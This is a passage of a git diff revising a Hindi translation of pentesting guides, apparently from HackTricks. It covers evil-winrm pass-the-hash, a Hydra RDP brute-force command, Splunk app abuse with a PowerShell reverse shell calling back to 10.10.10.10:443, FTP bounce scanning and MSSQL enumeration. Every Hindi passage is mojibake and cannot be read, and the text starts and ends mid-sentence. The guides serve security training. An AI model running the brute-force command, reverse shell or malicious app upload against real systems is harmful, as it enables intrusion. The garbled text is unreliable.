рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрдирд╛рдПрдВ, рдЬрд┐рд╕рдореЗрдВ IPv6 рдкрддреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рдбреЛрдореЗрди рдирд╛рдо** рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рдЙрд╕ рдбреЛрдореЗрди рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВред ### evil-winrm рдХреЗ рд╕рд╛рде рд╣реИрд╢ рдкрд╛рд╕ рдХрд░реЗрдВ ```ruby @@ -261,6 +261,4 @@ Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -тАЛ - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index a931bea02..7e62a90b7 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -4,7 +4,7 @@ ## **рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА** -- рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣, рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рджреГрд╢реНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд▓реЙрдЧ рдПрдирд╛рд▓рд┐рдЯрд┐рдХреНрд╕ рдЯреВрд▓ +- рд▓реЙрдЧ рдПрдирд╛рд▓рд┐рдЯрд┐рдХреНрд╕ рдЯреВрд▓ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣, рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рджреГрд╢реНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ - рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рдЧрд░рд╛рдиреА рдФрд░ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ - рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: - рд╡реЗрдм рд╕рд░реНрд╡рд░: 8000 @@ -15,7 +15,7 @@ 1. рдореБрдлреНрдд рд╕рдВрд╕реНрдХрд░рдг рд╢реЛрд╖рдг - рдкрд░реАрдХреНрд╖рдг рд╕рдВрд╕реНрдХрд░рдг 60 рджрд┐рдиреЛрдВ рдХреЗ рдмрд╛рдж рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдореБрдлреНрдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ -- рдореБрдлреНрдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдХрдореА рд╣реИ +- рдореБрдлреНрдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдХрдореА рд╣реЛрддреА рд╣реИ - рдкреНрд░рдмрдВрдзрд┐рдд рди рдХрд┐рдП рдЬрд╛рдиреЗ рдкрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо - рдкреНрд░рд╢рд╛рд╕рдХ рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рд╣рд┐рддрд╛рд░реНрдереЛрдВ рдХреЛ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ @@ -43,7 +43,7 @@ - рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рднрдВрдбрд╛рд░рдг - рдореБрдлреНрдд рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдХрдореА - рд╕рдВрднрд╛рд╡рд┐рдд рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдХрдИ рд╡реЗрдХреНрдЯрд░ -- рд╕рд┐рд╕реНрдЯрдо рд╕рдордЭреМрддрд╛ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЗрдирдкреБрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ +- рд╕рд┐рд╕реНрдЯрдо рд╕рдордЭреМрддреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЗрдирдкреБрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ ### Shodan @@ -76,10 +76,10 @@ splunk_shell/ 1. рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкреИрдХреЗрдЬ рдмрдирд╛рдПрдВ 2. рд╣рдорд▓рд╛рд╡рд░ рдорд╢реАрди рдкрд░ рдПрдХ рд╢реНрд░реЛрддрд╛ (Netcat/socat) рд╕реЗрдЯ рдХрд░реЗрдВ 3. Splunk рдХреЗ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ -4. рдЕрдкрд▓реЛрдб рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВ +4. рдЕрдкрд▓реЛрдб рдХреЗ рдмрд╛рдж рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВ рдирдореВрдирд╛ Windows PowerShell рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓: -```powershell +```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index aeda67572..9319a02ab 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -1,10 +1,10 @@ -# FTP рдмрд╛рдЙрдВрд╕ рд╣рдорд▓рд╛ - рд╕реНрдХреИрди +# FTP Bounce attack - Scan {{#include ../../banners/hacktricks-training.md}} -## FTP рдмрд╛рдЙрдВрд╕ - рд╕реНрдХреИрдирд┐рдВрдЧ +## FTP Bounce - Scanning -### рдореИрдиреБрдЕрд▓ +### Manual 1. рдХрдордЬреЛрд░ FTP рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ 2. _\_ рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **`PORT`** рдпрд╛ **`EPRT`** (рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рдЗрдирдореЗрдВ рд╕реЗ 1) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: @@ -12,18 +12,18 @@ `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` -3. **`LIST`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдпрд╣ рдХреЗрд╡рд▓ рдЬреБрдбрд╝реЗ рд╣реБрдП _\_ рдХреЛ FTP рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд╡рд░реНрддрдорд╛рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА рднреЗрдЬреЗрдЧрд╛) рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: `150 рдлрд╝рд╛рдЗрд▓ рд╕реНрдерд┐рддрд┐ рдареАрдХ рд╣реИ` (рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИ) рдпрд╛ `425 рдХреЛрдИ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рд╣реБрдЖ` (рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреЛрд░реНрдЯ рдмрдВрдж рд╣реИ) +3. **`LIST`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдпрд╣ рдХреЗрд╡рд▓ рдЬреБрдбрд╝реЗ рд╣реБрдП _\_ рдХреЛ FTP рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд╡рд░реНрддрдорд╛рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА рднреЗрдЬреЗрдЧрд╛) рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ: `150 File status okay` (рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИ) рдпрд╛ `425 No connection established` (рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреЛрд░реНрдЯ рдмрдВрдж рд╣реИ) 1. `LIST` рдХреЗ рдмрдЬрд╛рдп рдЖрдк **`RETR /file/in/ftp`** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдорд╛рди `Open/Close` рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг **PORT** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП (172.32.80.80 рдХрд╛ рдкреЛрд░реНрдЯ 8080 рдЦреБрд▓рд╛ рд╣реИ рдФрд░ рдкреЛрд░реНрдЯ 7777 рдмрдВрдж рд╣реИ): ![](<../../images/image (241).png>) -рдЙрд╕реА рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **`EPRT`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП (рдЪрд┐рддреНрд░ рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛): +рдЙрд╕реА рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **`EPRT`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП (рдЪрд┐рддреНрд░ рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ): ![](<../../images/image (539).png>) -`LIST` рдХреЗ рдмрдЬрд╛рдп `EPRT` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦреБрд▓рд╛ рдкреЛрд░реНрдЯ (рд╡рд┐рднрд┐рдиреНрди рд╡рд╛рддрд╛рд╡рд░рдг) +`LIST` рдХреЗ рдмрдЬрд╛рдп `EPRT` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЦреБрд▓рд╛ рдкреЛрд░реНрдЯ (рд╡рд┐рднрд┐рдиреНрди рд╡рд╛рддрд╛рд╡рд░рдг) ![](<../../images/image (875).png>) diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index ac5e2822a..518d61606 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** рдПрдХ **рд░рд┐рд▓реЗрд╢рдирд▓ рдбреЗрдЯрд╛рдмреЗрд╕** рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рд╣реИ рдЬрд┐рд╕реЗ Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рдж рд╣реИ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рд╛рдердорд┐рдХ рдХрд╛рд░реНрдп рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рдФрд░ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдЕрдиреНрдп рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИтАФрдЬреЛ рдпрд╛ рддреЛ рдЙрд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ (рдЬрд┐рд╕рдореЗрдВ рдЗрдВрдЯрд░рдиреЗрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИ) рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЪрд▓ рд╕рдХрддреЗ рд╣реИрдВред +> **Microsoft SQL Server** рдПрдХ **рд╕рдВрдмрдВрдзрд┐рдд рдбреЗрдЯрд╛рдмреЗрд╕** рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рд╣реИ рдЬрд┐рд╕реЗ Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ, рдпрд╣ рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЙрддреНрдкрд╛рдж рд╣реИ рдЬрд┐рд╕рдХрд╛ рдкреНрд░рд╛рдердорд┐рдХ рдХрд╛рд░реНрдп рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рдФрд░ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдЕрдиреНрдп рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИтАФрдЬреЛ рдпрд╛ рддреЛ рдЙрд╕реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ (рдЬрд┐рд╕рдореЗрдВ рдЗрдВрдЯрд░рдиреЗрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИ) рдкрд░ рдХрд┐рд╕реА рдЕрдиреНрдп рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдЪрд▓ рд╕рдХрддреЗ рд╣реИрдВред **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ:** 1433 ``` @@ -17,7 +17,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ SQL Server рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╕рднреА рд╕рд┐рд╕реНрдЯрдо-рд╕реНрддрд░реАрдп рд╡рд┐рд╡рд░рдг рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИред - **msdb Database**: SQL Server рдПрдЬреЗрдВрдЯ рдЗрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрд▓рд░реНрдЯ рдФрд░ рдиреМрдХрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╢реЗрдбреНрдпреВрд▓рд┐рдВрдЧ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред - **model Database**: SQL Server рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╣рд░ рдирдП рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдмреНрд▓реВрдкреНрд░рд┐рдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдЖрдХрд╛рд░, рдХреЛрд▓реЗрд╢рди, рд░рд┐рдХрд╡рд░реА рдореЙрдбрд▓, рдФрд░ рдЕрдзрд┐рдХ рдЬреИрд╕реЗ рдХрд┐рд╕реА рднреА рдкрд░рд┐рд╡рд░реНрддрди рдХреЛ рдирдП рдмрдирд╛рдП рдЧрдП рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- **Resource Database**: рдПрдХ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдЬреЛ SQL Server рдХреЗ рд╕рд╛рде рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╕рд┐рд╕реНрдЯрдо рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд░рдЦрддрд╛ рд╣реИред рдпреЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕, рдЬрдмрдХрд┐ рднреМрддрд┐рдХ рд░реВрдк рд╕реЗ Resource рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ, рд╣рд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ sys рд╕реНрдХреАрдорд╛ рдореЗрдВ рддрд╛рд░реНрдХрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рд╕реНрддреБрдд рд╣реЛрддреЗ рд╣реИрдВред +- **Resource Database**: рдПрдХ рдХреЗрд╡рд▓-рдкрдврд╝рдиреЗ рд╡рд╛рд▓рд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдЬреЛ SQL Server рдХреЗ рд╕рд╛рде рдЖрдиреЗ рд╡рд╛рд▓реЗ рд╕рд┐рд╕реНрдЯрдо рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд░рдЦрддрд╛ рд╣реИред рдпреЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕, рдЬрдмрдХрд┐ рднреМрддрд┐рдХ рд░реВрдк рд╕реЗ Resource рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ, рд╣рд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ sys рд╕реНрдХреАрдорд╛ рдореЗрдВ рддрд╛рд░реНрдХрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред - **tempdb Database**: рдЕрд╕реНрдерд╛рдпреА рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдпрд╛ рдордзреНрдпрд╡рд░реНрддреА рдкрд░рд┐рдгрд╛рдо рд╕реЗрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд╕реНрдерд╛рдпреА рд╕рдВрдЧреНрд░рд╣рдг рдХреНрд╖реЗрддреНрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред ## Enumeration @@ -32,7 +32,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping > [!NOTE] > рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** **рдирд╣реАрдВ рд╣реИрдВ** рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк nmap рдпрд╛ metasploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ, рдпрджрд┐ рдЖрдк рдПрдХ рдореМрдЬреВрджрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ рдмрд╛рд░ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **рдЦрд╛рддреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -#### Metasploit (need creds) +#### Metasploit (рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used @@ -102,7 +102,7 @@ sqsh -S -U .\\ -P -D 1> select 1; 2> go ``` -#### рд╕рд╛рдорд╛рдиреНрдп рдПрдиреНрдпреВрдорд░реЗрд╢рди +#### рд╕рд╛рдорд╛рдиреНрдп рд╕реВрдЪреАрдХрд░рдг ```sql # Get version select @@version; @@ -157,12 +157,12 @@ SELECT * FROM sysusers 1. **Securable:** SQL Server рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рдмрдВрдзрд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рддред рдЗрдиреНрд╣реЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдореЗрдВ рд╡рд░реНрдЧреАрдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: - **Server** тАУ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕, рд▓реЙрдЧрд┐рди, рдПрдВрдбрдкреЙрдЗрдВрдЯ, рдЙрдкрд▓рдмреНрдзрддрд╛ рд╕рдореВрд╣, рдФрд░ рд╕рд░реНрд╡рд░ рднреВрдорд┐рдХрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред -- **Database** тАУ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рднреВрдорд┐рдХрд╛, рдЕрдиреБрдкреНрд░рдпреЛрдЧ рднреВрдорд┐рдХрд╛рдПрдБ, рд╕реНрдХреАрдорд╛, рдкреНрд░рдорд╛рдгрдкрддреНрд░, рдкреВрд░реНрдг рдкрд╛рда рдХреИрдЯрд▓реЙрдЧ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред -- **Schema** тАУ рдЗрд╕рдореЗрдВ рддрд╛рд▓рд┐рдХрд╛рдПрдБ, рджреГрд╢реНрдп, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ, рдХрд╛рд░реНрдп, рдкрд░реНрдпрд╛рдпрд╡рд╛рдЪреА, рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +- **Database** тАУ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рднреВрдорд┐рдХрд╛, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рднреВрдорд┐рдХрд╛рдПрдБ, рд╕реНрдХреАрдорд╛, рдкреНрд░рдорд╛рдгрдкрддреНрд░, рдкреВрд░реНрдг рдкрд╛рда рдХреИрдЯрд▓реЙрдЧ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред +- **Schema** тАУ рдЗрд╕рдореЗрдВ рддрд╛рд▓рд┐рдХрд╛рдПрдБ, рджреГрд╢реНрдп, рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ, рдХрд╛рд░реНрдп, рдкрд░реНрдпрд╛рдпрд╡рд╛рдЪреА рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред 2. **Permission:** SQL Server securables рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд, ALTER, CONTROL, рдФрд░ CREATE рдЬреИрд╕реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдПрдХ рдкреНрд░рдореБрдЦ рдХреЛ рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рджреЛ рд╕реНрддрд░реЛрдВ рдкрд░ рд╣реЛрддрд╛ рд╣реИ: - **Server Level** рд▓реЙрдЧрд┐рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ - **Database Level** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ -3. **Principal:** рдпрд╣ рд╢рдмреНрдж рдЙрд╕ рдЗрдХрд╛рдИ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдПрдХ securable рдкрд░ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рддреА рд╣реИред рдкреНрд░рдореБрдЦ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд▓реЙрдЧрд┐рди рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред Securables рддрдХ рдкрд╣реБрдБрдЪ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рджреЗрдиреЗ рдпрд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдпрд╛ рд▓реЙрдЧрд┐рди рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕реЗ рд╕реБрд╕рдЬреНрдЬрд┐рдд рднреВрдорд┐рдХрд╛рдУрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +3. 